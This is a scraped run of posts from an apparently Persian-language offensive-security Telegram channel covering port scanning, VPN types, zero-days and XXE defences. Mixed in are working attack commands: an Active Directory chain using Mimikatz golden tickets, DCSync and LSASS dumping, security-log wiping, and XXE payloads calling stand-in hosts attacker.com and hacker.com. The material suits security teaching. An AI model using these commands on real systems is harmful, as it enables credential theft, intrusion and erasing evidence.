6712
1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفهای شو.
from scapy.all import *
# اسکن پورت 80 با SYN
pkt = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
resp = sr1(pkt, timeout=1)
if resp and resp[TCP].flags == "SA":
print("پورت 80 بازه!")
🔖 پارت دوم دامپ های حافظه LSASS از همیشه مخفیانه تر هستند.
@TryHackBox | Github | tryhackbox">YouTube | Group
به شما اطلاع میدهم که عضویت ۲۴ ساعته با هزینه ۵ دلار از طرف شودان فعال شده است. اگر به این پیشنهاد علاقهمندید، میتوانید از آن استفاده کنید.
https://account.shodan.io/billing/member
#Shodan
@TryHackBox
https://github.com/TryHackBox/Kaveh-WebDiff-Monitor
توضیحات ابزار :
این ابزار یک مانیتورینگ تغییرات و وضعیت HTTP است که برای بررسی سلامت سرویسهای وب، مانیتورینگ Virtual Hostها و شناسایی تغییرات محتوا استفاده میشود.
با استفاده از این اسکریپت میتوانید چندین IP/Port/Schema/Vhost را به صورت دورهای بررسی کنید و در صورت تغییر وضعیت پاسخ یا تغییر در محتوای صفحه، هشدار دریافت کنید.
ویژگیها
نظارت زمانبندیشده: اجرای خودکار در بازههای زمانی مشخص.
پشتیبانی از HTTP و HTTPS با امکان نادیده گرفتن خطاهای SSL.
Virtual Host Routing:
اتصال مستقیم به IP با هدر Host سفارشی (مناسب برای تست دامنههای روی یک سرور).
بررسی تغییر محتوا بر اساس تعداد کلمات و کد وضعیت HTTP.
ذخیرهسازی وضعیتها در فایل /tmp/http_mon.log برای مقایسه.
قابل استفاده در تست نفوذ برای شناسایی تغییرات، از کار افتادن سرویس یا تغییرات مشکوک.
نحوه اجرا در لینوکس
1. اسکریپت را کلون یا دانلود کنید:
git clone https://github.com/TryHackBox/Kaveh-WebDiff-Monitor.git
cd Kaveh-WebDiff-Monitor
chmod +x Kaveh-Webdiff-Monitor.sh
192.168.1.10 443 https example.com
10.0.0.5 80 http test.local
./Kaveh-Webdiff-Monitor.sh targets.txt
Fri Aug 15 23:45:05 UTC 2025
[*] 192.168.1.10 443 example.com: 200 157
[*] 10.0.0.5 80 test.local: 404 12
[!] تغییر وضعیت برای example.com
🔐 راهکارهای امن VPN و کاربردهای آنها
☁️ Cloud VPN
کاربران را به منابع مبتنی بر فضای ابری متصل میکند.
🔒 IPsec VPN
ارتباطات IP را از طریق تونلهای امن رمزگذاری میکند.
🌐 SSL VPN
دسترسی امن به شبکه را از طریق مرورگر فراهم میکند.
💻 Client-Based VPN
برای دسترسی از راه دور، نیاز به نصب نرمافزار دارد.
🏢 Site-to-Site VPN
شبکههای مختلف را برای ارتباط ایمن به هم متصل میکند.
🏠 Remote Access VPN
کاربران را به شبکههای خصوصی متصل میکند.
💡 نکته کلیدی:
انتخاب نوع مناسب VPN (برای دورکاری، اتصال شعب یا یکپارچهسازی با ابر) میتواند استراتژی امنیتی شما را متحول کند!
✍️نویسنده
@TryHackBox | The Chaos
#NetworkSecurity #VPN #Cybersecurity #Networking
⭕️ قسمت پنجم زیرو تاک
🔶 مهندس میلاد کهساری - با محوریت مهندسی معکوس
🔶 شب اول
💢 بخش اول - مسیر شخصی
💢 بخش دوم - مهندسی معکوس، کشف آسیبپذیری و توسعه اکسپلویت
منتظر جلسه بعدی باشید.
🔖 مقاله اجرای ماکروها از یک فایل DOCX با تزریق قالب از راه دور (Template Injection)
در این مطلب میخواهم درباره یک روش اجرای کد صحبت کنم و آن را نشان دهم که مدتی پیش به من معرفی شد. این روش اجازه میدهد یک فایل DOCX ساخته شود که هنگام باز شدن، به کاربر امکان اجرا کردن ماکروها از طریق یک فایل قالب DOTM راه دور را میدهد. این حمله در دنیای واقعی مشاهده شده، بخشی از ابزارهای امنیت تهاجمی متن باز است و توسط Cisco Talos هم درباره اش بلاگ نوشته شده، اما در آن بلاگ و ابزار متن باز، این حمله معمولا به عنوان سرقت اطلاعات احراز هویت به ویژه از طریق پروتکل SMB دیده شده است. این مطلب توضیح میدهد چطور میتوان با این روش، قالب ماکرو دار را به صورت آگاه به پروکسی و از طریق HTTP(S) دانلود کرد و داخل فایل DOCX استفاده نمود.
🧬 مرحله ۴: Persistence (پایداری)
Golden Ticket:
ساختن با Mimikatz:
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-... /krbtgt:<hash>
Skeleton Key (موقعی که به DC دسترسی داریم)
SIDHistory Injection
Abuse کردن AdminSDHolder یا GPO برای حفظ دسترسی
🔁 مرحله ۵: Lateral Movement (حرکت جانبی)
تکنیکهای کلیدی:
Pass-the-Hash
Pass-the-Ticket
Overpass-the-Hash
استفاده از WMI / PsExec / WinRM برای اجرای ریموت
ابزارهای:
wmiexec.py
PsExec.exe
CrackMapExec (لینوکس)
SharpExec.exe یا PowerShell Remoting
🏰 مرحله ۶: Domain Controller Compromise
DCSync Attack با Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
DCShadow Attack
Dump LSASS با Procdump:
procdump -ma lsass.exe lsass.dmp
و استخراج رمزها با Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
🪖مرحله ۷: Exfiltration & Cleanup
Exfiltration با SMB، DNS Tunneling یا ابزارهایی مثل Rclone
حذف لاگ:
wevtutil cl Security
del *.evtx
پوشاندن ردپاها با ابزارهای پاکسازی (مثلاً Invoke-Phant0m.ps1)
نویسنده
@TryHackBox | arian momeni
🔖 مقاله بایپس کردن SEHOP
💢 مشخصات SEHOP
💢 کرش و اکسپلویت
#Bypass #SEHOP
@TryHackBox | Github | tryhackbox">YouTube | Group
#جواب: TTL (Time To Live) تعداد hopها (پرشها بین روترها) رو که پکت میتونه طی کنه مشخص میکنه هر روتر ۱ کم میکنه، و اگر به ۰ برسه، پکت drop میشه و ICMP TTL Exceeded برمیگرده. در pentest، برای traceroute و نقشه برداری توپولوژی شبکه استفاده میشه (مثل پیدا کردن روترها یا فایروالها).
مثال عملی: traceroute google.com
نشون میده TTL چطور کم میشه.
زیرو دی (Zero-Day) چیست؟
آسیبپذیری 0Day به یک نقص امنیتی در نرمافزار یا سختافزار گفته می شود که برای فروشنده (تولیدکننده) ناشناخته است و هیچ وصلهای (پچ) برای رفع آن وجود ندارد. عبارت "0Day" به این معنی است که فروشنده هیچ فرصتی (0Day) برای پاسخگویی و رفع آسیبپذیری قبل از exploited مهاجمان ندارد. به روشی که از این آسیبپذیری اکپسلویت میکند، اکسپلویت زیرو دی (Zero-Day Exploit) میگویند.
۱. آسیبپذیری زیرو دی (Zero-Day Vulnerability)
- یک نقص در نرمافزار یا سختافزار است که فروشنده از آن بیخبر است.
- این نقص میتواند ناشی از خطای کدنویسی، ضعف طراحی، یا پیکربندی نادرست باشد.
- از آنجا که فروشنده از وجود این آسیبپذیری اطلاعی ندارد، هیچ راهحل یا پچی برای آن ارائه نشده است.
۲. اکسپلویت زیرو دی (Zero-Day Exploit)
- روشی است که مهاجمان برای سوءاستفاده از آسیبپذیری 0Day استفاده میکنند.
- شامل کدهای مخرب یا اقداماتی است که از این نقص برای دسترسی غیرمجاز یا آسیب رساندن به سیستم استفاده میکند.
۳. حمله زیرو دی (Zero-Day Attack)
- حملهای است که با exploiting از آسیبپذیری 0Day انجام میشود.
- این حمله قبل از اینکه فروشنده متوجه آسیبپذیری شود یا پچی منتشر کند، رخ میدهد.
۴. چرا حملات 0Day خطرناک هستند؟
- هیچ دفاع یا راه حل فوری برای مقابله با آنها وجود ندارد.
- مهاجمان میتوانند قبل از کشف آسیبپذیری، برای مدت زمانی طولانی از آن سوء استفاده کنند.
- این حملات میتوانند منجر به نفوذ به سیستمها، سرقت دادهها، یا انتشار بدافزار شوند.
۵. مثال:
- در آوریل ۲۰۲۰، یک آسیبپذیری 0Day در نرمافزار Zoom کشف شد که به مهاجمان اجازه می داد تحت شرایط خاص، دسترسی از راه دور به کامپیوتر کاربران بگیرند.
- این آسیبپذیری پس از کشف، پچ شد، اما نه قبل از آنکه برخی سازمان ها بهطور موقت استفاده از Zoom را محدود کنند.
۶. کشف و exploiting از آسیبپذیری های 0Day:
- هکرها ممکن است این آسیبپذیری ها را از طریق مهندسی معکوس نرمافزار، تحلیل کد، یا مهندسی اجتماعی کشف کنند.
- سپس اکسپلویت هایی برای سو استفاده از این نقاط ضعف توسعه می دهند.
- تا زمانی که فروشنده آسیبپذیری را کشف و پچی منتشر نکند، این حمله "0Day" محسوب میشود.
این نوع حملات یکی از بزرگترین تهدیدات امنیتی در دنیای سایبری هستند، زیرا قبل از کشف، هیچ راهحلی برای مقابله با آنها وجود ندارد.
#ZeroDay
@TryHackBox
🔐 راهکارهای VPN و نکات کلیدی امنیتی
☁️ Cloud VPN
کاربرد: اتصال ایمن به سرویسهای ابری مانند AWS یا Azure
امنیت: استفاده از احراز هویت دو مرحلهای و رمزنگاری قوی برای محافظت از دادههای حساس
🔒 IPsec VPN
کاربرد: ایجاد تونل امن بین دستگاههای ثابت (ادارات/شعب)
امنیت: پیادهسازی IKEv2 با رمزنگاری AES-256 برای جلوگیری از استراق سمع
🌐 SSL VPN
کاربرد: دسترسی امن از طریق مرورگر بدون نیاز به نصب کلاینت
امنیت: فعالسازی احراز هویت چندعاملی و محدود کردن دسترسی بر اساس نقش کاربران
💻 Client-Based VPN
کاربرد: اتصال ایمن کارمندان دورکار به شبکه سازمان
امنیت: نصب آنتیویرس روی کلاینتها و استفاده از قابلیت Kill Switch
🏢 Site-to-Site VPN
کاربرد: ارتباط امن بین دفاتر مختلف یک سازمان
امنیت: مانیتورینگ مداوم ترافیک و استفاده از فایروال بین شبکهها
🏠 Remote Access VPN
کاربرد: دسترسی کارمندان به منابع داخلی از راه دور
امنیت: محدود کردن دسترسی با Zero Trust و زمانبندی Sessionها
🔰 نکات طلایی امنیتی:
✅ همیشه از پروتکلهای بهروز (مانند WireGuard) استفاده کنید
✅ دسترسی VPN را فقط به IPهای مورد اعتماد محدود نمایید
✅ لاگهای اتصالات را به صورت مداوم بررسی کنید
✍️نویسنده
@TryHackBox | The Chaos
#NetworkSecurity #VPN #Cybersecurity #Networking
📌 حملات XXE (تزریق XML) - بخش چهارم (پایانی)
🔹 روشهای پیشگیری و دفاع در برابر XXE
1. غیرفعال کردن پردازش موجودیتهای خارجی (External Entities)
در اکثر پردازشگرهای XML (مثل PHP, Java, .NET)، میتوان این ویژگی را غیرفعال کرد:
مثال در PHP:
libxml_disable_entity_loader(true);
parser = etree.XMLParser(resolve_entities=False)
<!DOCTYPE و <!ENTITY در ورودی کاربر. file://, php://, expect://.
#سوال : در هدر IPv4، فیلد TTL چیکار میکنه و چرا در تست نفوذ مهمه ؟
Читать полностью…
📌 حملات XXE (تزریق XML) - بخش سوم
🔹 حملات پیشرفته XXE (ادامه)
4. استفاده از XXE در فایلهای SVG (حملات از طریق تصاویر)
فایلهای SVG مبتنی بر XML هستند و میتوانند حاوی payloadهای XXE باشند:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="200">
<image xlink:href="expect://id"></image>
</svg>
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://attacker.com/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hacker.com/+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4